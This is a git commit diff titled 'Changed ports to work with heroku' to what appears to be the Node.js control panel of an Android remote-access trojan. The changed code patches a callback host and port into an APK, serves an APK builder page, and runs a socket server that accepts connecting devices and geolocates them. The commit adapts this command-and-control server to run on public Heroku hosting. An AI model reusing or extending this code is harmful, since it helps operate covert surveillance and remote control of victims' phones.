Changed ports to work with heroku

This commit is contained in:
ChrisStone07 2020-02-21 15:13:51 +05:30
parent 2167196567
commit d041ac10e7
3 changed files with 12 additions and 8 deletions

View File

@ -20,7 +20,7 @@ function javaversion(callback) {
}
function patchAPK(URI, PORT, cb) {
if (PORT < 25565) {
// if (PORT < 25565) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
@ -29,7 +29,7 @@ function patchAPK(URI, PORT, cb) {
else return cb(false)
});
});
}
// }
}
function buildAPK(cb) {

View File

@ -65,7 +65,8 @@ routes.get('/logout', isAllowed, (req, res) => {
routes.get('/builder', isAllowed, (req, res) => {
res.render('builder', {
myPort: CONST.control_port
// myPort: CONST.control_port
myPort: process.env.PORT
});
});

View File

@ -8,7 +8,8 @@
const
express = require('express'),
app = express(),
IO = require('socket.io'),
server = require('http').createServer(app),
IO = require('socket.io')(server),
geoip = require('geoip-lite'),
CONST = require('./includes/const'),
db = require('./includes/databaseGateway'),
@ -24,10 +25,11 @@ global.clientManager = clientManager;
global.apkBuilder = apkBuilder;
// spin up socket server
let client_io = IO.listen(CONST.control_port);
// let client_io = IO.listen(CONST.control_port);
client_io.sockets.pingInterval = 30000;
client_io.on('connection', (socket) => {
// client_io.sockets.pingInterval = 30000;
IO.sockets.pingInterval = 30000;
IO.on('connection', (socket) => {
socket.emit('welcome');
let clientParams = socket.handshake.query;
let clientAddress = socket.request.connection;
@ -65,7 +67,8 @@ client_io.on('connection', (socket) => {
// get the admin interface online
app.listen(CONST.web_port);
// app.listen(CONST.web_port);
server.listen(process.env.PORT || CONST.web_port)
app.set('view engine', 'ejs');
app.set('views', './assets/views');